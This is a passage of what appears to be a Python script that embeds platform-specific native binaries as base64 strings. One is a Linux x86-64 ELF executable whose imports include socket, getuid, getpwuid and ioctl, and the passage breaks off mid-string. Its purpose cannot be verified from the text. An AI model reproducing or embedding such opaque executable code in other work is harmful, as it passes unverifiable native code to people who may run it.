DP4M/wzBDQMNBQ0IDRANEg0YDRwNIQ0kDSYNLA0uDTQNOA09DQANQg1SDVYNWw1gDWMNZQ1rDW4NQAAAMAAACgAAAAAMCAwcDCsMOgwODF0MbAx6DEEMiAyXDKYMtgy9DIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==') return R if a.__isLinux64(): R = at( 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAA0B1AAAAAAABAAAAAAAAAAIiFAAAAAAAAAAAAAEAAOAAIAEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgAAAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAANp+AAAAAAAA2n4AAAAAAAAAACAAAAAAAAEAAAAGAAAAAIAAAAAAAAAAgGAAAAAAAACAYAAAAAAATAQAAAAAAACIBQAAAAAAAAAAIAAAAAAAAgAAAAYAAAAwgAAAAAAAADCAYAAAAAAAMIBgAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAyG4AAAAAAADIbkAAAAAAAMhuQAAAAAAAvAEAAAAAAAC8AQAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAvbGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAABIAAAAEAAAAFAAAAAMAAABHTlUACHLYGcZ03nLqZ3wJJah7dklEA6gDAAAASAAAAAEAAAAGAAAAAAISACEBEAEAAAAASAAAAEoAAABQkgj5If30CShF1UwUmAxDeUlrtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgEAAASAAAAAAAAAAAAAAAAAAAAAAAAALADAAASAAAAAAAAAAAAAAAAAAAAAAAAAEIAAAASAAAAAAAAAAAAAAAAAAAAAAAAAJcGAAASAAAAAAAAAAAAAAAAAAAAAAAAAMgFAAASAAAAAAAAAAAAAAAAAAAAAAAAAA4HAAASAAAAAAAAAAAAAAAAAAAAAAAAAKIDAAASAAAAAAAAAAAAAAAAAAAAAAAAABUHAAASAAAAAAAAAAAAAAAAAAAAAAAAAMQEAAASAAAAAAAAAAAAAAAAAAAAAAAAAB4HAAASAAAAAAAAAAAAAAAAAAAAAAAAACICAAASAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAB8AAAAgAAAAAAAAAAAAAAAAAAAAAAAAALEBAAASAAAAAAAAAAAAAAAAAAAAAAAAAMUDAAASAAAAAAAAAAAAAAAAAAAAAAAAALoFAAASAAAAAAAAAAAAAAAAAAAAAAAAAMUCAAASAAAAAAAAAAAAAAAAAAAAAAAAABoGAAASAAAAAAAAAAAAAAAAAAAAAAAAAEIHAAASAAAAAAAAAAAAAAAAAAAAAAAAAGEGAAASAAAAAAAAAAAAAAAAAAAAAAAAAMsAAAASAAAAAAAAAAAAAAAAAAAAAAAAAA0GAAASAAAAAAAAAAAAAAAAAAAAAAAAAAEHAAASAAAAAAAAAAAAAAAAAAAAAAAAACUEAAASAAAAAAAAAAAAAAAAAAAAAAAAAN4FAAASAAAAAAAAAAAAAAAAAAAAAAAAAPIGAAASAAAAAAAAAAAAAAAAAAAAAAAAADQEAAASAAAAAAAAAAAAAAAAAAAAAAAAAG4CAAASAAAAAAAAAAAAAAAAAAAAAAAAAJMFAAASAAAAAAAAAAAAAAAAAAAAAAAAACsHAAASAAAAAAAAAAAAAAAAAAAAAAAAAOoGAAASAAAAAAAAAAAAAAAAAAAAAAAAAFQBAAASAAAAAAAAAAAAAAAAAAAAAAAAADYHAAASAAAAAAAAAAAAAAAAAAAAAAAAAJ0FAAASAAAAAAAAAAAAAAAAAAAAAAAAADIGAAASAAAAAAAAAAAAAAAAAAAAAAAAALAFAAASAAAAAAAAAAAAAAAAAAAAAAAAADEHAAASAAAAAAAAAAAAAAAAAAAAAAAAAPMBAAASAAAAAAAAAAAAAAAAAAAAAAAAANMCAAASAAAAAAAAAAAAAAAAAAAAAAAAAKEGAAASAAAAAAAAAAAAAAAAAAAAAAAAAMABAAASAAAAAAAAAAAAAAAAAAAAAAAAANwGAAASAAAAAAAAAAAAAAAAAAAAAAAAAGwEAAASAAAAAAAAAAAAAAAAAAAAAAAAADsHAAASAAAAAAAAAAAAAAAAAAAAAAAAAL4AAAASAAAAAAAAAAAAAAAAAAAAAAAAAOMGAAASAAAAAAAAAAAAAAAAAAAAAAAAAAYEAAASAAAAAAAAAAAAAAAAAAAAAAAAACQHAAASAAAAAAAAAAAAAAAAAAAAAAAAAEwFAAASAAAAAAAAAAAAAAAAAAAAAAAAADMAAAAgAAAAAAAAAAAAAAAAAAAAAAAAALQCAAASAAAAAAAAAAAAAAAAAAAAAAAAABcFAAASAAAAAAAAAAAAAAAAAAAAAAAAABIBAAASAAAAAAAAAAAAAAAAAAAAAAAAAAEBAAASAAAAAAAAAAAAAAAAAAAAAAAAANUEAAASAAAAAAAAAAAAAAAAAAAAAAAAABUEAAASAAAAAAAAAAAAAAAAAAAAAAAAALoDAAASAAAAAAAAAAAAAAAAAAAAAAAAADYDAAASAAAAAAAAAAAAAAAAAAAAAAAAAIYAAAASAAAAAAAAAAAAAAAAAAAAAAAAAJADAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAASAAAAAAAAAAAAAAAAAAAAAAAAAHYBAAASAAAAAAAAAAAAAAAAAAAAAAAAAMMGAAASAAAAAAAAAAAAAAAAAAAAAAAAACwCAAASAAAAAAAAAAAAAAAAAAAAAAAAABsDAAASAAAAAAAAAAAAAAAAAAAAAAAAAO4FAAASAAAAAAAAAAAAAAAAAAAAAAAAAHUAAAASAAAAAAAAAAAAAAAAAAAAAAAAAFMFAAASAAAAAAAAAAAAAAAAAAAAAAAAAEgDAAASAAAAAAAAAAAAAAAAAAAAAAAAAH8CAAASAAAAAAAAAAAAAAAAAAAAAAAAAPsGAAASAAAAAAAAAAAAAAAAAAAAAAAAADkCAAAiAA0ARWtAAAAAAABuAAAAAAAAAMsDAAASAAAA0BxAAAAAAAAAAAAAAAAAAOkAAAASAAAA0BpAAAAAAAAAAAAAAAAAANQFAAARABoAYIRgAAAAAAAQAQAAAAAAAGEBAAASAAAAIB1AAAAAAAAAAAAAAAAAAABsaWJzdGRjKysuc28uNgBfX2dtb25fc3RhcnRfXwBfSnZfUmVnaXN0ZXJDbGFzc2VzAHB0aHJlYWRfY2FuY2VsAF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRTVjbG9zZUV2AF9aTktTczRmaW5kRVBLY20AX1pOU3QxOGJhc2ljX3N0cmluZ3N0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFRDFFdgBfWk5TYUljRUQxRXYAX1pOU2k1c2Vla2dFbFN0MTJfSW9zX1NlZWtkaXIAX1pOU3Q4aW9zX2Jhc2U0SW5pdEQxRXYAX1pOU29sc0VQRlJTb1NfRQBfWk5TdDE0YmFzaWNfaWZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUVDMUVQS2NTdDEzX0lvc19PcGVubW9kZQBfWk5Tc3BMRVJLU3MAX19neHhfcGVyc29uYWxpdHlfdjAAX1pOS1N0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRTNzdHJFdgBfWk5LU3M1Y19zdHJFdgBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU1Y2xvc2VFdgBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUVEMUV2AF9aTlNzcExFYwBfWk5Tc2FTRVJLU3MAX1pTdHBsSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVTYklUX1QwX1QxX0VSS1M2X1M4XwBfWk5TbzV3cml0ZUVQS2NsAF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRTdpc19vcGVuRXYAX1pOU3M2YXBwZW5kRVBLYwBfWk5LU3M0c2l6ZUV2AF9aTlN0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRUMxRVN0MTNfSW9zX09wZW5tb2RlAF9aTlNvbHNFUEZSU3Q4aW9zX2Jhc2VTMF9FAF9fY3hhX2JlZ2luX2NhdGNoAF9aU3Rsc0ljU3QxMWNoYXJfdHJhaXRzSWNFRVJTdDEzYmFzaWNfb3N0cmVhbUlUX1QwX0VTNl9TdDhfU2V0ZmlsbElTM19FAF9aTlNzOXB1c2hfYmFja0VjAF9aTlNzNWNsZWFyRXYAX1pOU3NDMUV2AF9aTlNpcnNFUm0AX1puYW0AX1pTdDRlbmRsSWNTdDExY2hhcl90cmFpdHNJY0VFUlN0MTNiYXNpY19vc3RyZWFtSVRfVDBfRVM2XwBfWk5TczVlcmFzZUVtbQBfX2N4YV9lbmRfY2F0Y2gAX1pOU2k0cmVhZEVQY2wAX1pTdGxzSVN0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JY1RfRVM1X1BLYwBfWlN0bHNJY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRVJTdDEzYmFzaWNfb3N0cmVhbUlUX1QwX0VTN19SS1NiSVM0X1M1X1QxX0UAX1pOU3NhU0VQS2MAX1pOS1NzNnN1YnN0ckVtbQBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUVDMUVQS2NTdDEzX0lvc19PcGVubW9kZQBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU3aXNfb3BlbkV2AF9aZGFQdgBfWlN0bHNJY1N0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzZfU3Q1X1NldHcAX1pOU3NEMUV2AF9aTlNzQzFFUEtjUktTYUljRQBfWk5Tc2l4RW0AX1pOU2k1dGVsbGdFdgBfWk5Tc3BMRVBLYwBfWlN0NGNvdXQAX1pOS1NzNmxlbmd0aEV2AF9aTlNzNmFwcGVuZEVSS1NzAF9aTlNhSWNFQzFFdgBfWk5Tc0MxRVJLU3MAX1pOU3Q4aW9zX2Jhc2U0SW5pdEMxRXYAX1pOU3QxNGJhc2ljX2lmc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VFRDFFdgBfWlN0bHNJU3QxMWNoYXJfdHJhaXRzSWNFRVJTdDEzYmFzaWNfb3N0cmVhbUljVF9FUzVfaABfWk5Tb2xzRWkAX1pOU29sc0VqAGxpYm0uc28uNgBsaWJnY2Nfcy5zby4xAF9VbndpbmRfUmVzdW1lAGxpYmMuc28uNgBzb2NrZXQAc3RyY3B5AHNwcmludGYAZ2V0cHd1aWQAbWtkaXIAX19jeGFfYXRleGl0AG1lbXNldABzaHV0ZG93bgBpb2N0bABnZXR1aWQAYmNvcHkAYXRvaQBhdG9sAHN0cmNtcABfX2xpYmNfc3RhcnRfbWFpbgBHQ0NfMy4wAEdMSUJDXzIuMi41AENYWEFCSV8xLjMAR0xJQkNYWF8zLjQAAAAAAgACAAIAAgACAAMAAgADAAIAAwACAAAAAAACAAIAAgACAAIAAwACAAIAAgADAAIAAgADAAIAAgACAAMAAwACAAMAAgACAAIAAwACAAIAAgACAAMAAgADAAIAAwACAAMAAgAAAAIAAgACAAIAAgAEAAIABAACAAIAAgACAAUAAgACAAIAAgACAAIAAgADAAEAAgACAAIABAAAAAAAAAABAAEAtQYAABAAAAAgAAAAUCZ5CwAABQBUBwAAAAAAAAEAAQDSBgAAEAAAACAAAAB1GmkJAAADAFwHAAAAAAAAAQACAAEAAAAQAAAAAAAAANOvawUAAAQAaAcAABAAAAB0KZIIAAACAHMHAAAAAAAA8IFgAAAAAAAGAAAADAAAAAAAAAAAAAAAYIRgAAAAAAAFAAAASwAAAAAAAAAAAAAAEIJgAAAAAAAHAAAAAQAAAAAAAAAAAAAAGIJgAAAAAAAHAAAAAgAAAAAAAAAAAAAAIIJgAAAAAAAHAAAAAwAAAAAAAAAAAAAAKIJgAAAAAAAHAAAABAAAAAAAAAAAAAAAMIJgAAAAAAAHAAAABQAAAAAAAAAAAAAAOIJgAAAAAAAHAAAABgAAAAAAAAAAAAAAQIJgAAAAAAAHAAAABwAAAAAAAAAAAAAASIJgAAAAAAAHAAAACAAAAAAAAAAAAAAAUIJgAAAAAAAHAAAACQAAAAAAAAAAAAAAWIJgAAAAAAAHAAAACgAAAAAAAAAAAAAAYIJgAAAAAAAHAAAACwAAAAAAAAAAAAAAaIJgAAAAAAAHAAAADgAAAAAAAAAAAAAAcIJgAAAAAAAHAAAADwAAAAAAAAAAAAAAeIJgAAAAAAAHAAAAEAAAAAAAAAAAAAAAgIJgAAAAAAAHAAAAEQAAAAAAAAAAAAAAiIJgAAAAAAAHAAAAEgAAAAAAAAAAAAAAkIJgAAAAAAAHAAAAEwAAAAAAAAAAAAAAmIJgAAAAAAAHAAAAFAAAAAAAAAAAAAAAoIJgAAAAAAAHAAAAFQAAAAAAAAAAAAAAqIJgAAAAAAAHAAAAFgAAAAAAAAAAAAAAsIJgAAAAAAAHAAAAFwAAAAAAAAAAAAAAuIJgAAAAAAAHAAAAGAAAAAAAAAAAAAAAwIJgAAAAAAAHAAAAGQAAAAAAAAAAAAAAyIJgAAAAAAAHAAAASgAAAAAAAAAAAAAA0IJgAAAAAAAHAAAAGgAAAAAAAAAAAAAA2IJgAAAAAAAHAAAAGwAAAAAAAAAAAAAA4IJgAAAAAAAHAAAAHAAAAAAAAAAAAAAA6IJgAAAAAAAHAAAAHQAAAAAAAAAAAAAA8IJgAAAAAAAHAAAAHgAAAAAAAAAAAAAA+IJgAAAAAAAHAAAAHwAAAAAAAAAAAAAAAINgAAAAAAAHAAAAIAAAAAAAAAAAAAAACINgAAAAAAAHAAAAIQAAAAAAAAAAAAAAEINgAAAAAAAHAAAAIgAAAAAAAAAAAAAAGINgAAAAAAAHAAAAIwAAAAAAAAAAAAAAIINgAAAAAAAHAAAAJAAAAAAAAAAAAAAAKINgAAAAAAAHAAAAJQAAAAAAAAAAAAAAMINgAAAAAAAHAAAAJgAAAAAAAAAAAAAAOINgAAAAAAAHAAAAJwAAAAAAAAAAAAAAQINgAAAAAAAHAAAAKAAAAAAAAAAAAAAASINgAAAAAAAHAAAAKQAAAAAAAAAAAAAAUINgAAAAAAAHAAAAKgAAAAAAAAAAAAAAWINgAAAAAAAHAAAAKwAAAAAAAAAAAAAAYINgAAAAAAAHAAAALAAAAAAAAAAAAAAAaINgAAAAAAAHAAAALQAAAAAAAAAAAAAAcINgAAAAAAAHAAAALgAAAAAAAAAAAAAAeINgAAAAAAAHAAAALwAAAAAAAAAAAAAAgINgAAAAAAAHAAAAMAAAAAAAAAAAAAAAiINgAAAAAAAHAAAAMQAAAAAAAAAAAAAAkINgAAAAAAAHAAAAMwAAAAAAAAAAAAAAmINgAAAAAAAHAAAANAAAAAAAAAAAAAAAoINgAAAAAAAHAAAANQAAAAAAAAAAAAAAqINgAAAAAAAHAAAANgAAAAAAAAAAAAAAsINgAAAAAAAHAAAANwAAAAAAAAAAAAAAuINgAAAAAAAHAAAAOAAAAAAAAAAAAAAAwINgAAAAAAAHAAAAOQAAAAAAAAAAAAAAyINgAAAAAAAHAAAASQAAAAAAAAAAAAAA0INgAAAAAAAHAAAAOgAAAAAAAAAAAAAA2INgAAAAAAAHAAAAOwAAAAAAAAAAAAAA4INgAAAAAAAHAAAAPAAAAAAAAAAAAAAA6INgAAAAAAAHAAAAPQAAAAAAAAAAAAAA8INgAAAAAAAHAAAATAAAAAAAAAAAAAAA+INgAAAAAAAHAAAAPgAAAAAAAAAAAAAAAIRgAAAAAAAHAAAAPwAAAAAAAAAAAAAACIRgAAAAAAAHAAAAQAAAAAAAAAAAAAAAEIRgAAAAAAAHAAAAQQAAAAAAAAAAAAAAGIRgAAAAAAAHAAAAQgAAAAAAAAAAAAAAIIRgAAAAAAAHAAAAQwAAAAAAAAAAAAAAKIRgAAAAAAAHAAAARAAAAAAAAAAAAAAAMIRgAAAAAAAHAAAARQAAAAAAAAAAAAAAOIRgAAAAAAAHAAAARgAAAAAAAAAAAAAAQIRgAAAAAAAHAAAARwAAAAAAAAAAAAAASIPsCOi7BAAA6EoFAADoFVMAAEiDxAjD/zWqaCAA/yWsaCAADx9AAP8lqmggAGgAAAAA6eD/////JaJoIABoAQAAAOnQ/////yWaaCAAaAIAAADpwP////8lkmggAGgDAAAA6bD/////JYpoIABoBAAAAOmg/////yWCaCAAaAUAAADpkP////8lemggAGgGAAAA6YD/////JXJoIABoBwAAAOlw/////yVqaCAAaAgAAADpYP////8lYmggAGgJAAAA6VD/////JVpoIABoCgAAAOlA/////yVSaCAAaAsAAADpMP////8lSmggAGgMAAAA6SD/////JUJoIABoDQAAAOkQ/////yU6aCAAaA4AAADpAP////8lMmggAGgPAAAA6fD+////JSpoIABoEAAAAOng/v///yUiaCAAaBEAAADp0P7///8lGmggAGgSAAAA6cD+////JRJoIABoEwAAAOmw/v///yUKaCAAaBQAAADpoP7///8lAmggAGgVAAAA6ZD+////JfpnIABoFgAAAOmA/v///yXyZyAAaBcAAADpcP7///8l6mcgAGgYAAAA6WD+////JeJnIABoGQAAAOlQ/v///yXaZyAAaBoAAADpQP7///8l0mcgAGgbAAAA6TD+////JcpnIABoHAAAAOkg/v///yXCZyAAaB0AAADpEP7///8lumcgAGgeAAAA6QD+////JbJnIABoHwAAAOnw/f///yWqZyAAaCAAAADp4P3///8lomcgAGghAAAA6dD9////JZpnIABoIgAAAOnA/f///yWSZyAAaCMAAADpsP3///8limcgAGgkAAAA6aD9////JYJnIABoJQAAAOmQ/f///yV6ZyAAaCYAAADpgP3///8lcmcgAGgnAAAA6XD9////JWpnIABoKAAAAOlg/f///yViZyAAaCkAAADpUP3///8lWmcgAGgqAAAA6UD9////JVJnIABoKwAAAOkw/f///yVKZyAAaCwAAADpIP3///8lQmcgAGgtAAAA6RD9////JTpnIABoLgAAAOkA/f///yUyZyAAaC8AAADp8Pz///8lKmcgAGgwAAAA6eD8////JSJnIABoMQAAAOnQ/P///yUaZyAAaDIAAADpwPz///8lEmcgAGgzAAAA6bD8////JQpnIABoNAAAAOmg/P///yUCZyAAaDUAAADpkPz///8l+mYgAGg2AAAA6YD8////JfJmIABoNwAAAOlw/P///yXqZiAAaDgAAADpYPz///8l4mYgAGg5AAAA6VD8////JdpmIABoOgAAAOlA/P///yXSZiAAaDsAAADpMPz///8lymYgAGg8AAAA6SD8////JcJmIABoPQAAAOkQ/P///yW6ZiAAaD4AAADpAPz///8lsmYgAGg/AAAA6fD7////JapmIABoQAAAAOng+////yWiZiAAaEEAAADp0Pv///8lmmYgAGhCAAAA6cD7////JZJmIABoQwAAAOmw+////yWKZiAAaEQAAADpoPv///8lgmYgAGhFAAAA6ZD7////JXpmIABoRgAAAOmA+///Me1JidFeSIniSIPk8FBUScfAwGtAAEjHwdBrQABIx8ejY0AA6Gf8///0kJBIg+wISIsF6WMgAEiFwHQC/9BIg8QIw5CQkJCQkJCQkJCQkJBVSInlU0iD7AiAPUBnIAAAdUu7IIBgAEiLBTpnIABIgesYgGAASMH7A0iD6wFIOdhzJGYPH0QAAEiDwAFIiQUVZyAA/xTFGIBgAEiLBQdnIABIOdhy4sYF82YgAAFIg8QIW8nDZmZmLg8fhAAAAAAASIM9kGEgAABVSInldBK4AAAAAEiFwHQIvyiAYADJ/+DJw5CQVUiJ5UFWQVVBVFNIgeyQAQAASIn7SIm1WP7//4mVVP7//74IAAAAvxAAAADoBUkAAInCSI2FYP7//4nWSInH6Lj8//9Ix0XYAAAAAOtuSItF2EiLlVj+//9IjQQCD7YARA+24L8wAAAA6I5LAABBicW/AgAAAOhVSQAAQYnGSI2FYP7//0iDwBC+XGhAAEiJx+gW/v//RIn2SInH6Dv+//9Eie5IicfoQP7//0SJ5kiJx+hV/P//SINF2AGLhVT+//9IO0XYD5fAhMB1gUiJ2EiNlWD+//9IidZIicfomv3//+siidNJicRIjYVg/v//SInH6ET9//9MieBIY9NIicfohv3//0iNhWD+//9IicfoJ/3//0iJ2EiJ2EiBxJABAABbQVxBXUFeycNVSInlQVRTSIHssAEAAEiJvVj+//+JtVT+//9IiZVI/v//x0XkAAAAAEjHRegAAAAA6eQAAABIx0XYAAAAAL4IAAAAvxAAAADovkcAAInCSI2FYP7//4nWSInH6HH7//9Ii0XoSIPAAUgDhVj+//8PtgAPtthIi0XoSIuVWP7//0iNBAIPtgBED7bgSI2FYP7//0iDwBC+XGhAAEiJx+je/P//RInmSInH6OP5//+J3kiJx+jZ+f//SI1V2EiNhWD+//9IidZIicfoE/z//4tF5EgDhUj+//9Ii1XYiBCDReQBSI2FYP7//0iJx+gg/P//SINF6ALrIonTSYnESI2FYP7//0iJx+gF/P//TIngSGPTSInH6Ef8//+LhVT+//9IO0XoD5fAhMAPhQf///9IgcSwAQAAW0FcycNVSInlU0iD7DhIiX3ISItFyEiJx+jdQAAASIlF2EjHReAAAAAAx0XoAAAAAOsZi0XoSItVyEiYD7YEAkgPvsBIAUXgg0XoAYN96DsPnsCEwHXcSIN92AB1B0iDfeAAdV3HRewAAAAA60KLXeyLVeyJ0AHAjQwQuslCFrKJyPfqjQQKicLB+gSJyMH4H4nWKcaJ8GvAF4nKKcKJ0InBSItVyEhjw4gMAoNF7AGDfew7D57AhMB1s7gAAAAA6wW4AQAAAEiDxDhbycNVSInlifiIRfwPvkX8Jf8AAADJw1VIieVBVFNIgexgDQAASIm9uPL//0iJtbDy//9Ii4Ww8v//xgAASIuFuPL//w+2AITAdQq7/////+ltBgAASI2F4P7//0iJx+jW/v//SI2FcP///0iJx+gd9///SI2FYP///0iJx+gO9///xoXA9v//AMdFzAAAAABIjUWPSInH6JT6//9IjVWPSIuNuPL//0iNRYBIic5Iicfoyvj//0iNlXD///9IjUWAvgAAAABIicfo6EUAAOsZidNJicRIjUWASInH6E/4//9MieBIY9PrDkiNRYBIicfoO/j//+scidNJicRIjUWPSInH6Cj5//9MieBIY9PpUQUAAEiNRY9IicfoEfn//74IAAAAvwQAAADo3EQAAEGJxEiNhXD///9Iicfo8Pb//0iJwUiNhdD8//9EieJIic5IicfoSPn//0iNhdD8//9Iicfoafr//4TAD4SqAAAASI2F0Pz//7oCAAAAvgAAAABIicfoGPf//0iNhdD8//9Iicfoufb//0iJwUiJ0EiJjaDy//9IiYWo8v//SIuFoPL//0iJRZBIi4Wo8v//SIlFmEiNRZBIicfoh0cAAIlFzEiNhdD8//+6AAAAAL4AAAAASInH6Lf2//+LVcxIjY3A9v//SI2F0Pz//0iJzkiJx+jL9v//SI2F0Pz//0iJx+iM9f//6egBAABIjUWvSInH6Av5//9IjVWvSIuNuPL//0iNRaBIic5IicfoQff//0iNlXD///9IjUWgvgEAAABIicfoX0QAAOsZidNJicRIjUWgSInH6Mb2//9MieBIY9PrDkiNRaBIicfosvb//+scidNJicRIjUWvSInH6J/3//9MieBIY9PpmwMAAEiNRa9IicfoiPf//74IAAAAvwQAAADoU0MAAEGJxEiNhXD///9IicfoZ/X//0iJwUiNhcD6//9EieJIic5Iicfov/f//0iNhcD6//9Iicfo4Pj//4PwAYTAdBC7/f///0G8AAAAAOnJAAAASI2FwPr//7oCAAAAvgAAAABIicfogPX//0iNhcD6//9IicfoIfX//0iJwUiJ0EiJjaDy//9IiYWo8v//SIuFoPL//0iJRbBIi4Wo8v//SIlFuEiNRbBIicfo70UAAIlFzEiNhcD6//+6AAAAAL4AAAAASInH6B/1//+LVcxIjY3A9v//SI2FwPr//0iJzkiJx+gz9f//SI2FwPr//0iJx+j08///QbwBAAAA6xyJ00mJxEiNhcD6//9IicfoyPX//0yJ4Ehj0+saSI2FwPr//0iJx+ix9f//RYXkD4RrAgAA6xdIicfoDvf//7v9////6NT2///pUgIAAIF9zIEAAAB3Crv8////6T8CAABIjYXA9v//SI2VwPL//4tNzInOSInH6ND5//9Ii4W48v//D7YAiEXRSIuFuPL//0iDwAEPtgCIRdLHRdQAAAAA61CLTdSLRdSJwA+2hAXA8v//icIyVdGJyIiUBcDy//8PtlXRD7ZF0Q+v0InQAcAB0I1QCg+2RdKJhZzy//+J0MH6H/e9nPL//4nQiEXRg0XUAYtFzNHoO0XUD5fAhMB1ocZF0wDHRdgAAAAA6dIAAADHRdwAAAAA6bMAAADHReAAAAAAx0XkAAAAAMdF6AAAAADrd4tV2InQAcAB0AHAA0XoSJgPtoQFwPL//w++wInH6Pn6//+Jw4tV3InQAcAB0AHAA0XoSJgPtoQF4P7//w++wInH6NX6//85ww+UwITAdASDReABi1XYidABwAHQAcADRehImA+2hAXA8v//hMB1BINF5AGDRegBg33oBQ+ewITAD4V6////g33gBnUMg33kBnQGxkXTAesTg0XcAYN93AkPnsCEwA+FPv///4NF2AGDfdgJD57AhMAPhR////8PtkXTg/ABhMB0Crv+////6ZgAAABIjYVg////vsBsQABIicfosfH//8dF7DwAAADrJYtF7InAD7aEBcDy//8PvtBIjYVg////idZIicfoJ/L//4NF7AGLRczR6DtF7A+XwITAdcxIjYVg////SInH6BXy//9IicJIi4Ww8v//SInWSInH6BD0//+7AAAAAOscidNJicRIjYXQ/P//SInH6EXz//9MieBIY9PrEUiNhdD8//9IicfoLvP//+scidNJicRIjYVg////SInH6Ljy//9MieBIY9PrEUiNhWD///9IicfoofL//+siidNJicRIjYVw////SInH6Ivy//9MieBIY9NIicforfT//0iNhXD///9IicfobvL//4nYSIHEYA0AAFtBXMnDVUiJ5UFUU0iB7OAAAABIib0o////ibUk////SImVGP///0iNRY9IicfoMvT//0iNVY9Ii40o////SI1FgEiJzkiJx+ho8v//6x+J00mJxEiNRY9IicfoBfP//0yJ4Ehj00iJx+gn9P//SI1Fj0iJx+jr8v//SIuFGP///8YAAEiLhRj////GQB4ASIuFGP///8ZAQABIi4UY////xkBKAEiLhRj////GQGgASIuFGP///8dAPAAAAABIjVWASI1FkEiJ1kiJx+gU8f//i5Uk////SI1FkInWSInH6DcjAACIRc9IjUWQSInH6HHx///rHInTSYnESI1FkEiJx+he8f//TIngSGPT6fAEAAAPtkXPg/ABhMB0CrsAAAAA6Q4FAABIjUWAugAAAAC+4WxAAEiJx+iY8///SIlF0EiLRdBIjVABSI1FgL7hbEAASInH6Hvz//9IiUXYSItF2EiNUAFIjUWAvuFsQABIicfoXvP//0iJReBIi0XgSI1QAUiNRYC+4WxAAEiJx+hB8///SIlF6EiDfdD/dQhIx0XQAAAAAEiDfdj/dQhIx0XYAAAAAEiDfe